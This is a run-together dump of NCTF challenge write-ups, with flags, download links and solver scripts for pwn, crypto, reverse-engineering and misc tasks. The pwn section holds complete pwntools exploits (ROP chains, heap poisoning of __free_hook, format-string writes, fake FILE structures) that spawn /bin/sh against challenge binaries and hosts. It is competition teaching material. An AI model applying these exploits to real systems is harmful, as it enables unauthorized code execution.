https://attachment.h4ck.fun:9000/pwn/login/login.zip https://nctf.slight-wind.com/pwn/login/login.zipflag: flag{c6f79b51a8c6ebd398d3e7d67afaa29b}writeup: from pwn import* #r=remote("129.211.173.64",10005) r=process('./main') context.log_level='debug' libc=ELF("./libc-2.31.so") main=0x40119a csu1=0x40128A csu2=0x401270 leave=0x40121f gadget=0x4011ed read_got=0x404030 close_got=0x404028 fake_stack=0x404090 r.recvline() r.send('\x00'*0x100+p64(fake_stack+0x100)+p64(gadget)) payload='' payload+=p64(csu1) payload+=p64(0)+p64(1) payload+=p64(0) payload+=p64(close_got) payload+=p64(0x1) payload+=p64(read_got) payload+=p64(csu2) payload+=p64(0) payload+=p64(0)+p64(1) payload+=p64(0) payload+=p64(fake_stack) payload+=p64(0x3B) payload+=p64(read_got) payload+=p64(csu2) payload+=p64(0) payload+=p64(0)+p64(1) payload+=p64(fake_stack) payload+=p64(0) payload+=p64(0) payload+=p64(close_got) payload+=p64(csu2) r.send(payload.ljust(0x100,'\x00')+p64(fake_stack-0x8)+p64(leave)) r.send('\x85') r.send('/bin/sh'.ljust(0x3B,'\x00')) r.interactive()COPYvmstack出题人ID: 影二つ 题目描述: A virtual stack system with function Can you hack it? nc 129.211.173.64 10001附件链接: http://download.kagehutatsu.com/Download/vmstack.zip https://attachment.h4ck.fun:9000/pwn/vmstack/vmstack.zip https://nctf.slight-wind.com/pwn/vmstack/vmstack.zipflag: flag{ec322378ed804bdfc315002e9853c0e6}from pwn import * r=remote("129.211.173.64",10001) #r=process('./main') context.log_level='debug' opcode='' opcode+="\x00"+p64(0xC) opcode+="\x06" opcode+="\x00"+p64(0x10000) opcode+="\x07" opcode+="\x0C" opcode+="\x01" opcode+="\x0B"+p64(0x20000) opcode+="\x08" opcode+="\x00"+p64(0) opcode+="\x06" opcode+="\x00"+p64(0) opcode+="\x07" opcode+="\x00"+p64(0x30) opcode+="\x09" opcode+="\x0C" opcode+="\x04" opcode+="\x07" opcode+="\x00"+p64(2) opcode+="\x06" opcode+="\x00"+p64(0) opcode+="\x08" opcode+="\x00"+p64(0) opcode+="\x09" opcode+="\x0C" opcode+="\x03" opcode+="\x08" opcode+="\x00"+p64(0) opcode+="\x06" opcode+="\x00"+p64(4) opcode+="\x07" opcode+="\x00"+p64(0x50) opcode+="\x09" opcode+="\x0C" opcode+="\x00"+p64(1) opcode+="\x06" opcode+="\x00"+p64(1) opcode+="\x07" opcode+="\x0C" r.recvline() #gdb.attach(r,"b *$rebase(0x16ca)") r.send(opcode) r.recvline() r.send("flag") r.interactive()COPYezheap出题人ID: 影二つ 题目描述: 总之就是非常简单 nc 129.211.173.64 10002附件链接: http://download.kagehutatsu.com/Download/ezheap.zip https://attachment.h4ck.fun:9000/pwn/ezheap/ezheap.zip https://nctf.slight-wind.com/pwn/ezheap/ezheap.zipflag: flag{1ec61752948eb817e78b9a1b5810f326}from pwn import * #r=remote("129.211.173.64",10002) r=process('./main') context.log_level='debug' libc=ELF("./libc-2.33.so") def new(size,content): r.recvuntil('>> ') r.sendline('1') r.recvuntil('Size: ') r.sendline(str(size)) r.recvuntil('Content: ') r.send(content) def edit(idx,content): r.recvuntil('>> ') r.sendline('2') r.recvuntil('Index: ') r.sendline(str(idx)) r.recvuntil('Content: ') r.send(content) def delete(idx): r.recvuntil('>> ') r.sendline('3') r.recvuntil('Index: ') r.sendline(str(idx)) def show(idx): r.recvuntil('>> ') r.sendline('4') r.recvuntil('Index: ') r.sendline(str(idx)) def xor_ptr(ptr1,ptr2): result=((ptr1>>12)^(ptr2)) return result new(0x18,'\n') new(0x18,'\n') delete(0) delete(1) show(0) fd1=u64(r.recv(8)) show(1) fd2=u64(r.recv(8)) heap=(fd1^fd2)-0x2a0 success("heap: "+hex(heap)) new(0x18,'\n') new(0x18,'\n') delete(1) delete(0) edit(3,p64(xor_ptr(heap+0x2a0,heap+0x90))+'\n') new(0x18,'\n') new(0x18,p64(0)) def write(addr,content): edit(3,p64(0)*0x2+'\n') delete(0) edit(5,p64(addr)+'\n') new(0x18,content) write(heap+0x2b0,p64(0)+p64(0x421)) write(heap+0x6d0,p64(0)+p64(0x21)) write(heap+0x6f0,p64(0)+p64(0x21)) delete(1) show(1) libc_base=u64(r.recv(8))-libc.sym['__malloc_hook']-0x70 success("libc_base: "+hex(libc_base)) free_hook=libc_base+libc.sym['__free_hook'] system=libc_base+libc.sym['system'] write(free_hook,p64(system)) edit(3,'/bin/sh\x00\n') delete(3) #gdb.attach(r) r.interactive()COPYmmmmmmmap出题人ID: 影二つ 题目描述: 你从未见过的船新版本,我在malloc等你 nc 129.211.173.64 10004附件链接: http://download.kagehutatsu.com/Download/mmmmmmmap.zip https://attachment.h4ck.fun:9000/pwn/mmmmmmmap/mmmmmmmap.zip https://nctf.slight-wind.com/pwn/mmmmmmmap/mmmmmmmap.zipflag: flag{d010887a870d12833465e98b8abf2bb2}from pwn import * #r=remote("129.211.173.64",10004) r=process('./main') context.log_level='debug' libc=ELF("./libc-2.31.so") def new(size,content): r.recvuntil(': ') r.sendline('1') r.recvuntil('Size: ') r.sendline(str(size)) r.recvuntil('Content: ') r.send(content) def edit(idx,content): r.recvuntil(': ') r.sendline('2') r.recvuntil('Index: ') r.sendline(str(idx)) r.recvuntil('Content: ') r.send(content) def delete(idx): r.recvuntil(': ') r.sendline('3') r.recvuntil('Index: ') r.sendline(str(idx)) def show(idx): r.recvuntil(': ') r.sendline('4') r.recvuntil('Index: ') r.sendline(str(idx)) def fmt(content): r.recvuntil("INPUT:\n") r.send(content+'\x00') r.recvline() r.sendline(str(0x3)) new(0xd18,'\n') new(0x18,'\n') new(0xFF8,'\n') edit(1,'a'*0x10+p64(0x0303030303032303)) delete(2) r.recvuntil(': ') r.sendline('4') fmt("%6$p\n%11$p\n%41$p\n") stack=int(r.recvline(),16)-0x20 libc_base=int(r.recvline(),16)-libc.sym['__libc_start_main']-0xF3 target=int(r.recvline(),16)&0xFFFFFFFFFFFFFF00 success("stack: "+hex(stack)) success("libc_base: "+hex(libc_base)) success("target: "+hex(target)) offset=(target-stack)>>0x3 success("offset: "+hex(offset)) one_gadget=libc_base+0xe6c7e _rtld_global=libc_base+0x222060 rtld_lock_default_lock_recursive=_rtld_global+0xF08 for i in range(6): if (i==0): fmt("%13$hhn") else: fmt("%"+str(i)+"c%13$hhn") fmt("%"+str((rtld_lock_default_lock_recursive&(0xFF<<(i<<3)))>>(i<<3))+"c%41$hhn") fmt("%13$hhn") for i in range(6): fmt("%"+str((rtld_lock_default_lock_recursive&0xFF)+i)+"c%41$hhn") fmt("%"+str((one_gadget&(0xFF<<(i<<3)))>>(i<<3))+"c%"+str(offset+0x6)+"$hhn") #gdb.attach(r,"b printf") fmt("exit\n") r.recvline() r.interactive()COPYhouse_of_fmyyass出题人ID: 影二つ 题目描述: Hack his ass!!! nc 129.211.173.64 10003附件链接: http://download.kagehutatsu.com/Download/house_of_fmyyass.zip https://attachment.h4ck.fun:9000/pwn/house_of_fmyyass/house_of_fmyyass.zip https://nctf.slight-wind.com/pwn/house_of_fmyyass/house_of_fmyyass.zipflag: flag{ae9dabea23e559cd5300f1a1686b7917}from pwn import* #r=remote("129.211.173.64",10003) r=process('./main') context.log_level='debug' libc=ELF("./libc-2.33.so") def new(size): r.recvuntil(">> ") r.sendline("1") r.recvuntil(": ") r.sendline(str(size)) def edit(offset,content): r.recvuntil(">> ") r.sendline("2") r.recvuntil(": ") r.sendline(str(len(content))) r.recvuntil(": ") r.sendline(str(offset)) r.recvuntil(": ") r.send(content) def delete(idx): r.recvuntil(">> ") r.sendline("3") r.recvuntil(": \x00") r.sendline(str(idx)) def show(): r.recvuntil(">> ") r.sendline("4") def ror(num,shift): for i in range(shift): num=(num>>0x1)+(num&0x1)*0xFFFFFFFFFFFFFFFF return num def rol(num,shift): for i in range(shift): num=(num<<0x1)&0xFFFFFFFFFFFFFFFF+(num&0x8000000000000000) return num new(0x18) edit(0x8,p64(0x431)) edit(0x438,p64(0x21)) edit(0x458,p64(0x421)) edit(0x878,p64(0x21)) edit(0x898,p64(0x21)) delete(0x10) new(0x428) delete(0x10) edit(0x10,'\x10') show() libc_base=u64(r.recvuntil('\x7f')[-6:]+p16(0))-libc.sym['__malloc_hook']-0x80 success("libc_base: "+hex(libc_base)) environ=libc_base+libc.sym['environ'] exit=libc_base+libc.sym['exit'] system=libc_base+libc.sym['system'] _IO_cleanup=libc_base+0x8ef80 IO_list_all=libc_base+libc.sym['_IO_list_all'] tls=libc_base-0x2890 #tls=libc_base+0x1ed5f0 bin_sh=libc_base+0x1abf05 _IO_cookie_jumps=libc_base+0x1e1a20 top_chunk=libc_base+libc.sym['__malloc_hook']+0x70 __printf_arginfo_table=libc_base+0x1eb218 __printf_function_table=libc_base+0x1e35c8 edit(0x10,'\x00') delete(0x460) edit(0x10,'a'*0x8) show() r.recvuntil('a'*0x8) heap=u64(r.recvuntil("1. alloc",drop=True).ljust(0x8,'\x00'))-0x450 success("heap: "+hex(heap)) edit(0x10,p64(top_chunk)) new(0x418) edit(0x28,p64(IO_list_all-0x20)) delete(0x460) new(0x1000) fake_IO_struct='' fake_IO_struct+=p64(0xfbad1800) fake_IO_struct+=p64(0)*0x4 fake_IO_struct+=p64(1) fake_IO_struct+=p64(0)*0x15 fake_IO_struct+=p64(_IO_cookie_jumps+0x70-0x18) fake_IO_struct+=p64(bin_sh) fake_IO_struct+=p64(rol(system^(heap+0xDA0),0x11)) edit(0x898,p64(0x471)) edit(0xD08,p64(0x21)) edit(0xD28,p64(0x461)) edit(0x1188,p64(0x21)) edit(0x11A8,p64(0x21)) delete(0x8A0) new(0x1000) edit(0x8B8,p64(__printf_arginfo_table-0x20)) delete(0xD30) new(0x1000) edit(0x898,p64(0x4B1)) edit(0xD48,p64(0x21)) edit(0xD68,p64(0x4A1)) edit(0x1208,p64(0x21)) edit(0x1228,p64(0x21)) delete(0x8A0) new(0x1000) edit(0x8B8,p64(__printf_function_table-0x20)) delete(0xD70) new(0x1000) edit(0x10F8,p64(_IO_cleanup)) edit(0x898,p64(0x4F1)) edit(0xD88,p64(0x21)) edit(0xDA8,p64(0x4E1)) edit(0x1288,p64(0x21)) edit(0x12A8,p64(0x21)) delete(0x8A0) new(0x1000) edit(0x8B8,p64(tls-0x20)) delete(0xDB0) new(0x1000) edit(0x898,p64(0x531)) edit(0xDC8,p64(0x21)) edit(0xDE8,p64(0x521)) edit(0x1308,p64(0x21)) edit(0x1328,p64(0x21)) delete(0x8A0) new(0x1000) edit(0x8B8,p64(top_chunk-0x20)) delete(0xDF0) edit(0x450,fake_IO_struct) #gdb.attach(r,'b _IO_flush_all_lockp') new(0x1000) r.interactive()COPYCryptosigninflag: nctf{238fa78a-5e61-4dc6-8faf-7e2e30e02286}附件链接:https://upyun.clq0.top/signin.py from Crypto.Util.number import * def rational_to_contfrac(x, y): a = x//y pquotients = [a] while a * y != x: x, y = y, x-a*y a = x//y pquotients.append(a) return pquotients def convergents_from_contfrac(frac): convs = [] for i in range(len(frac)): convs.append(contfrac_to_rational(frac[0:i])) return convs def contfrac_to_rational(frac): if len(frac) == 0: return (0, 1) num = frac[-1] denom = 1 for _ in range(-2, -len(frac)-1, -1): num, denom = frac[_]*num+denom, num return (num, denom) k = 94541588860584895585135152950569493777168309607384495730944110393788712443252059813470464503558980161423182930915955597122997950103392684040352673659694990925903156093591505153081718027169554019948988048641061593654540898258994671824807628660558123733006209479395447337793897155523508261277918178756662618785 n = 780382574657056148524126341547161694121139907409040429176771134165303790043856598163799273195157260505524054034596118923390755532760928964966379457317135940979046201401066257918457068510403020146410174895470232276387032511651496790519359024937958635283547294676457588680828221680705802054780628993173199987362419589945445821005688218540209709368995166794607635504501281131700210990592718388166388793182269128127850804650083811982799377308916540691843310867205397 c = 601133470721804838247833449664753362221136965650852411177773274117379671405966812018926891137093789704412080113310175506684194683631033003847585245560967863306852502110832136044837625931830243428075035781445021691969145959052459661597331192880689893369292311652372449853270889898705765869674961705116875378568712306021536838123003111819172078652012105725060809972222290408551883774305223612755026614701916201374200602892717051698568751566665976546137674450533774 frac = rational_to_contfrac(k, 1<<1024) convergents = convergents_from_contfrac(frac) for (p, s) in convergents: if p>1: if n%p==0: qr = n//p d = inverse(65537, (qr-s+1)*(p-1)) m = pow(c,d,n) print(long_to_bytes(m))COPYdsaflag: nctf{1d92dae504a70fbcae6d3721a55d7eacaf94d3133ea5f0394b7d203d64841110}附件链接:https://upyun.clq0.top/dsa.py from Crypto.Util.number import * from hashlib import sha256 q = 4065074330205980877463463424406813850154275302695361748314870346411329051948044450952905063182483477758495116696164996888846308775044737816809015524088898203 y = 7743982251072012463264403932580827621959049035277930304818871889119878506480333248188293037455476433705911511645160292331990658781048396135284434991466243636 h = 19480592192543881131267167328019941277106895469291691207381812905033306766991 r = 962433004607153392099715322793248884218264181538005666659905851247468102959956625098831516046715446615198437005036117685792905736788216987378584513020215442 s = 1861254747644911591100925843087118347161726578606012243057783788330822542299254180561801871884967022902307837045926190782819951409650425825871898890839825777 k0 = int(sha256(hex(h)[2:].encode().hex().encode()).hexdigest(),16) A = matrix(ZZ,4,[2**256+1,0,0,0,0,2**256,0,0,0,0,1,0,2**800*(r*(2**256+1)),-2**800*s,2**800*q,-2**800*(-h+s*k0*(2**256))+2**512]) B = A.transpose() C = B.LLL() print(C[0]) flag = hex(h^^int(sha256(int(C[0,0]).to_bytes(128, "big")).hexdigest(),16)) print(flag)COPYrsa附件链接: https://attachment.h4ck.fun:9000/crypto/rsa.py http://h4ck.fun/crypto/rsa.py https://nctf.slight-wind.com/crypto/rsa.pyflag: nctf{5a4aec0a-bbd6-4c5b-9d9b-d5f4c49f6ab0} from Crypto.Util.number import * from pwn import * from tqdm import tqdm def proof_of_work(): rev = r.recvuntil(b"sha256(XXXX+") suffix = r.recv(16).decode() rev = r.recvuntil(b" == ") tar = r.recv(64).decode() def f(x): hashresult = hashlib.sha256(x.encode()+suffix.encode()).hexdigest() return hashresult == tar prefix = util.iters.mbruteforce(f, string.digits + string.ascii_letters, 4, 'upto') r.recvuntil(b'Give me XXXX: ') r.sendline(prefix) e = 65537 while True: r = remote("43.129.69.35",10002) r.recvuntil(b'n = ') n = int(r.recvline().strip()) S = {pow(i,-e,n):i for i in tqdm(range(1,2**20))} proof_of_work() secret = '' for i in range(4): c = int(r.recvline().split(b'=')[1].strip()) l = inverse(c,n) for j in range(1,2**16): s = l*pow(j,e,n)%n if s in S: secret += hex(S[s]*j)[2:].zfill(8) break print(len(secret),secret) if len(secret)!=32: r.close() continue r.recvuntil(b"Give me the secret:") r.sendline(secret) r.interactive()COPYdlp附件链接: https://attachment.h4ck.fun:9000/crypto/dlp.py http://h4ck.fun/crypto/dlp.py https://nctf.slight-wind.com/crypto/dlp.pyflag: nctf{a88c3430-0548-4443-9280-e962c3d6b74e} from Crypto.Util.number import * from pwn import * from tqdm import tqdm r = remote("43.129.69.35",10001) def proof_of_work(): rev = r.recvuntil(b"sha256(XXXX+") suffix = r.recv(16).decode() rev = r.recvuntil(b" == ") tar = r.recv(64).decode() def f(x): hashresult = hashlib.sha256(x.encode()+suffix.encode()).hexdigest() return hashresult == tar prefix = util.iters.mbruteforce(f, string.digits + string.ascii_letters, 4, 'upto') r.recvuntil(b'Give me XXXX: ') r.sendline(prefix) proof_of_work() p = 144622268328968993341365710278894755118767129325286994164661347213200068288320713151689155598130690763440455157929587751885813242814750422828312072382119518429040602281694119210475772654999865828418886175678335978908269120940864300610431302161143383386149363868608635140950451657400233892787130315426229955639 m = 0xdeadbeef k = (p-5)//2 c = m cnt = 0 for i in tqdm(range(1024)): if k%2: r.recvuntil(b'>') r.sendline('1') r.recvuntil(b"Give me m:") r.sendline(str(c)) r.recvuntil(b"Give me k:") r.sendline(str(i)) r.recvuntil(b'c = ') c = int(r.recvline().strip()) k //= 2 r.recvuntil(b'>') r.sendline('2') r.recvuntil(b"Give me the secret:") r.sendline(str(c)) r.interactive()COPYReverseHello せかい出题人ID: aiQG_ 题目描述: 欢迎来到NCTF-逆向工程(Reverse Engineering) 这里可能有你需要的工具: ida pro 7.6 :链接:https://pan.baidu.com/s/1bV2HjBBX0bwwtzORqhErOg 提取码:o49x附件链接: 链接:https://pan.baidu.com/s/1qPHbnzNrg-8ocG2CkYh_4w 提取码:mbxp https://attachment.h4ck.fun:9000/reverse/Hello%20%E3%81%9B%E3%81%8B%E3%81%84/WelcomeToNCTF-RE.zip https://nctf.slight-wind.com/reverse/Hello%20%E3%81%9B%E3%81%8B%E3%81%84/WelcomeToNCTF-RE.zipflag: NCTF{We1come_2_Reverse_Engineering}wp: 丢到ida里, 找到main函数, 按F5, 应该就能看到flag了. 动态调试也可以在打印出的地址处找到flag字符串. Shadowbringer出题人ID: Xv37h10 题目描述: One brings shadow, one brings light. Two-toned echoes, tumbling through time. Threescore wasted, ten cast aside. Four-fold knowing, no end in sight. ---EZCPP FOR YOU, JUST HAVE FUN!---附件链接: 链接:http://39.102.33.27:5212/#/s/rwSw https://upyun.clq0.top/Shadowbringer.exeflag: NCTF{H0m3_r1d1n9_h0m3_dy1n9_h0p3}本题来源于自己程序设计周的作业,要求是完成一个包含几种简单加解密功能的加解密系统。当时为了整点花活用bitset改写了一遍base64.然后拿了一份网上的代码过来对比凸显自己的加解密代码量小,但老师好像没太看懂bitset 后来变动了一下加密流程,就出成了这道题。作为除了点击即送的Hello せかい之外第一道题,考虑到有很多本校学弟学妹在打,为了不太劝退新人,打算是只卡静态不卡动态,由于用了bitset,静态可能不是特别容易一眼看出base64,但是动调很显然,就是一个改表改padding的古代双重base64,第二遍的表是第一遍的逆序。可以dump出表,也可以静态看init阶段表的构建过程。 放一个加密源代码在这里: string hisoralce="",oralcehis=""; void youknowwhat()//初始化表 { rep(i,0,63) { if(i==12) hisoralce=hisoralce+'s'; elif(i==57) hisoralce=hisoralce+'h'; else hisoralce=hisoralce+char(i+35); } string s(hisoralce.rbegin(),hisoralce.rend()); oralcehis=s; return; } string Emet(string s)//第一次加密 { string t="",r=""; repo(i,0,s.size()) t=t+bitset<8>((s[i])).to_string(); while((t.size()%6)) t=t+'0'; reps(i,0,t.size(),6) r=r+hisoralce[bitset<6>(t.substr(i,6)).to_ulong()]; while(r.size()%4) r=r+'!'; return r; } string Selch(string s)//第二次加密 { string t="",r=""; repo(i,0,s.size()) t=t+bitset<8>((s[i])).to_string(); while((t.size()%6)) t=t+'0'; reps(i,0,t.size(),6) r=r+oralcehis[bitset<6>(t.substr(i,6)).to_ulong()]; while(r.size()%4) r=r+'!'; return r; }COPY本来是想加密1-解密1-加密2的,但想想没啥意思,就算了。 鲨鲨的秘密出题人ID: Cynosure 题目描述: 听说这是鲨鲨的秘密附件链接: 链接:http://39.102.33.27:5212/#/s/bnIJ https://upyun.clq0.top/attachment_2.exeflag: NCTF{rLdE57TG0iHA39qUnFZp6LeJyYEBcxMNL7}程序一开始存在一处简单的反调试,如果是使用 IDA 等调试器在 main 函数中直接下断点,然后开始运行就会发现会直接退出调试,因为程序在到达断点处已经 exit(0) 了。所以程序直接结束,如果想痛快调试程序,需要对程序做一个 patch 修改程序中原本的指令。 patch 的地址如下: 这里给出文件 patch 前后的 sha256 校验值,可以自行对比以确认 文件 patch 正确 patch 前: SHA256: 2DAB90FFD1A513500F1F9784F5FCC7434B5B22E6FD7030B1A79E9F1C892DEF20 patch 后: SHA256: 209B8AF68F68CD024597FADE2DD7BA7DD0056A13E58E075D5605007802A34F8C程序开始申请了一个大小为 0x20 的堆,修改堆的属性为可读可写可执行 这样我们就可以将代码放在这个堆中执行 对于dword_404A38数组,直接下断点动调,dump 下来即可发现是一个 CRC32 table 现在对这一处代码做出解释 首先将 unk_404210 处数据,根据 dword_404080 中的后 4 个 bit 位确定的数组长度,复制数据到之前申请的堆中 sub_401030 函数又对堆中的部分字节做了一定的替换,得到的才是最终执行的代码 由循环可以轻易知道将输入的字符串每两个字母做一次计算进行比较,每次计算的的代码量为33条指令 现在可以直接动态调试观察执行了哪些指令,不必去关心 sub_401030 函数中对堆上做了什么数据更改,只需要动态调试观察执行了哪些指令即可,就是做了一个 CRC32 的计算 dump 出 crc32 后的对比的数组,用 python 爆破一下即可,脚本如下 import zlib enc = [3237371998, 11628042, 857318098, 1472903095, 2590272924, 3185059622, 3627613073, 2380336051, 392891821, 1751113455, 740292529, 1816412822, 2707226256, 550340385, 1654029544, 739656189, 1462570906, 2924665900, 1346993615, 4285185866] flag = b'' for i in range(0, 20): for j in range(0, 0xffff): data = int(j).to_bytes(length=2, byteorder='big', signed=True) if zlib.crc32(data) == enc[i]: flag += data break print(flag) # b'NCTF{rLdE57TG0iHA39qUnFZp6LeJyYEBcxMNL7}'COPY对于每一次指令的执行,除了通过动态调试去观察汇编代码之外,我们也可以通过 trace 功能,跟踪到每一条指令的执行,这里以 ollydbg 的 trace 功能为例IDA 或者 x32dbg 的 trace功能也可使用。图中右列部分红色指令的位置即是在堆上执行的指令。trace 之后可以直接阅读汇编代码看到每一次循环中执行了什么代码 狗狗的秘密出题人ID: Cynosure 题目描述: 听说这是狗狗的秘密附件链接: 链接:http://39.102.33.27:5212/#/s/D3Un https://upyun.clq0.top/attachment_1.exeflag NCTF{ADF0E239-D911-3781-7E40-A575A19E5835}IDA 载入,查看程序段,容易发现一个存在名为 SMC 的段,知道是考点是代码自解密 有几处简单的反调试,需要 patch 一下可执行文件,便于我们去调试文件 TlsCallback_0回调函数中同样存在调试检测,和堆代码进行解密部分,同样需要patch一下,回调函数在创建新线程之前执行对应代码 函数解密使用了一个xtea如果不关系解密过程的话,可以直接动态调试下一个断点,直接跳转到函数被解密完成之后,f5查看伪代码得到真实的执行代码 具体断点只要下在创建线程的函数执行完毕之后sub_F13000函数刚开始执行时或者,执行前就行 伪代码如下 void __cdecl sub_F13000(const char *a1) { signed int v1; // [esp+0h] [ebp-98h] unsigned int v2; // [esp+10h] [ebp-88h] signed int v3; // [esp+1Ch] [ebp-7Ch] int v4; // [esp+2Ch] [ebp-6Ch] int v5; // [esp+2Ch] [ebp-6Ch] char v6; // [esp+32h] [ebp-66h] signed int Size; // [esp+34h] [ebp-64h] unsigned int v8; // [esp+38h] [ebp-60h] int k; // [esp+38h] [ebp-60h] unsigned __int8 *v10; // [esp+3Ch] [ebp-5Ch] int i; // [esp+40h] [ebp-58h] signed int j; // [esp+40h] [ebp-58h] signed int m; // [esp+40h] [ebp-58h] signed int n; // [esp+40h] [ebp-58h] signed int ii; // [esp+40h] [ebp-58h] char v16[62]; // [esp+44h] [ebp-54h] int v17; // [esp+82h] [ebp-16h] int v18; // [esp+86h] [ebp-12h] int v19; // [esp+8Ah] [ebp-Eh] int v20; // [esp+8Eh] [ebp-Ah] __int16 v21; // [esp+92h] [ebp-6h] v2 = strlen(a1); Size = 146 * v2 / 0x64 + 1; v3 = 0; v10 = (unsigned __int8 *)malloc(Size); v16[0] = 0x52; v16[1] = -61; v16[2] = 26; v16[3] = -32; v16[4] = 22; v16[5] = 93; v16[6] = 94; v16[7] = -30; v16[8] = 103; v16[9] = 31; v16[10] = 31; v16[11] = 6; v16[12] = 6; v16[13] = 31; v16[14] = 23; v16[15] = 6; v16[16] = 15; v16[17] = -7; v16[18] = 6; v16[19] = 103; v16[20] = 88; v16[21] = -78; v16[22] = -30; v16[23] = -116; v16[24] = 15; v16[25] = 42; v16[26] = 6; v16[27] = -119; v16[28] = -49; v16[29] = 42; v16[30] = 6; v16[31] = 31; v16[32] = -104; v16[33] = 26; v16[34] = 62; v16[35] = 23; v16[36] = 103; v16[37] = 31; v16[38] = -9; v16[39] = 58; v16[40] = 68; v16[41] = -61; v16[42] = 22; v16[43] = 51; v16[44] = 105; v16[45] = 26; v16[46] = 117; v16[47] = 22; v16[48] = 62; v16[49] = 23; v16[50] = -43; v16[51] = 105; v16[52] = 122; v16[53] = 27; v16[54] = 68; v16[55] = 68; v16[56] = 62; v16[57] = 103; v16[58] = 0xF7; v16[59] = 0x89; v16[60] = 103; v16[61] = 195; v17 = 0; v18 = 0; v19 = 0; v20 = 0; v21 = 0; memset(v10, 0, Size); v8 = 0; for ( i = 0; i < 256; ++i ) { v6 = table[i]; table[i] = table[(i + *((unsigned __int8 *)&sum + i % 4)) % 256]; table[(i + *((unsigned __int8 *)&sum + i % 4)) % 256] = v6; } while ( v8 < strlen(a1) ) { v4 = a1[v8]; for ( j = 146 * v2 / 0x64; ; --j ) { v5 = v4 + (v10[j] << 8); v10[j] = v5 % 47; v4 = v5 / 47; if ( j < v3 ) v3 = j; if ( !v4 && j <= v3 ) break; } ++v8; } for ( k = 0; !v10[k]; ++k ) ; for ( m = 0; m < Size; ++m ) v10[m] = byte_F15118[v10[k++]]; while ( m < Size ) v10[m++] = 0; v1 = strlen((const char *)v10); for ( n = 0; n < v1; ++n ) v10[n] ^= table[v10[n]]; for ( ii = 0; ii < v1; ++ii ) { if ( v10[ii] != (unsigned __int8)v16[ii] ) { printf("Wrong!\n", v1); exit(0); } } printf("Right!\n", v1); JUMPOUT(0xF1344E); }COPY逆向来解决对于这样的地方的一处代码,通过爆破以后可以得到有些v10中数组的取值存在多解的情况,具体解的取值情况如下 for ( n = 0; n < v1; ++n ) v10[n] ^= table[v10[n]]; 0, 2, 0, 33, 45, 44, 30, 40, 8, 23, 22, 11, 7, 37, 34, 37, 34, 19, 20, 43, 19, 20, 43, 37, 34, 24, 19, 20, 43, 31, 4, 29, 19, 20, 43, 22, 11, 7, 13, 5, 23, 41, 31, 4, 35, 19, 20, 43, 9, 14, 35, 19, 20, 43, 37, 34, 3, 33, 45, 10, 24, 22, 11, 7, 37, 34, 38, 1, 25, 0, 30, 6, 42, 33, 45, 36, 30, 10, 24, 21, 42, 26, 28, 25, 25, 10, 22, 11, 7, 38, 9, 22, 11, 7,COPY如果使用爆破来解决大概会有1.8亿种组合结果,可能会耗费比较久的时间,但是这里v10这个数组实际上就是通过将输入做了一个base47转换的来的 那么原输入的范围应该是在0x20-0x7e之间,并且对于v10数组,如果给改动其中某一位的话,只会对解密出来的flag的后面部分有影响,前面部分没有任何影响,也就是说,密⽂后部的正确与否不会影响前部的解密。从前到后,手动对密文进行一个个尝试,通过观察解密结果,我们可以最终得到正确的密文,然后解密明文即可。 import libnum arr = [0, 2, 0, 45, 44, 30, 40, 8, 23, 11, 37, 34, 43, 43, 37, 24, 19, 4, 29, 19, 22, 13, 5, 23, 41, 4, 35, 20, 9, 14, 35, 43, 37, 3, 33, 10, 24, 22, 37, 38, 1, 25, 0, 30, 6, 42, 45, 36, 30, 10, 24, 21, 42, 26, 28, 25, 25, 10, 7, 38, 9, 11] n = 0 for i in range(len(arr)): n *= 47 n += arr[i] print(libnum.n2s(n)) # b'NCTF{ADF0E239-D911-3781-7E40-A575A19E5835}'COPYeasy_mobile前半部分 方程求解 from z3 import * result = [3287,1688,3452,1786,3255,1994,1947,2002,2384,2777,2783,5286,3319,1824,1842,2038] flag = [Int("x%d"%i) for i in range(16)] mul_1 = [0x20,0x22,0x23,0x24] mul_2 = [0x30,0x31,0x32,0x33] add_1 = [0x37,0x38,0x39,0x3a] add_2 = [0x50,0x52,0x53,0x54] s = Solver() for i in range(4): s.add(flag[i] *mul_1[i] + add_1[i] == result[i]) s.add(flag[4+i] * mul_1[i] + add_1[i] == result[4+i]) s.add(flag[8+i] * mul_2[i] + add_2[i] == result[8+i]) s.add(flag[12+i] * mul_1[i] + add_1[i] == result[12+i]) if(s.check() == sat): m = s.model() Str = [chr(m[flag[i]].as_long().real) for i in range(16)] print("".join(Str))COPY后半部分tea #include <stdio.h> #include <stdint.h> //加密函数 void encrypt (uint32_t* v, uint32_t* k) { uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */ uint32_t delta=0x9e3779b9; /* a key schedule constant */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i < 32; i++) { /* basic cycle start */ sum += delta; v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3); } /* end cycle */ v[0]=v0; v[1]=v1; } //解密函数 void decrypt (uint32_t* v, uint32_t* k) { uint32_t v0=v[0], v1=v[1], sum=0x12345678*0x20, i; /* set up */ uint32_t delta=0x12345678; /* a key schedule constant */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i<32; i++) { /* basic cycle start */ v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3); v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); sum -= delta; } /* end cycle */ v[0]=v0; v[1]=v1; } int main() { uint32_t v[2]={0xc65aeda, 0xadbf8db1},k[4]={0x61686971,0x6e696168,0x6e616e69,0x6d616e61}; // v为要加密的数据是两个32位无符号整数 // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位 //printf("加密前原始数据:%u %u\n",v[0],v[1]); //encrypt(v, k); printf("加密后的数据:%lx %lx\n",v[0],v[1]); decrypt(v, k); printf("解密后的数据:%lx %lx\n",v[0],v[1]); return 0; }COPYflag e0a0d966076ff43758af2715 https://attachment.h4ck.fun:9000/reverse/easy_mobile/app-debug.apk https://nctf.slight-wind.com/reverse/easy_mobile/app-debug.apkMiscHex酱的秘密花园题目描述: 我们可爱的Hex酱又有了一个强大的功能,可以去执行多行语句惹~ 但是为了防止有些居心叵测的人,我们专门把括号,单双引号,都过滤掉,噢对不准色色,所以也不准出现h哟~ Ubuntu Python3.6.9 快去找Hex酱(QQ:2821876761)私聊吧附件: https://nctf.slight-wind.com/misc/hex/runner.py https://attachment.h4ck.fun:9000/misc/hex/runner.pyflag: 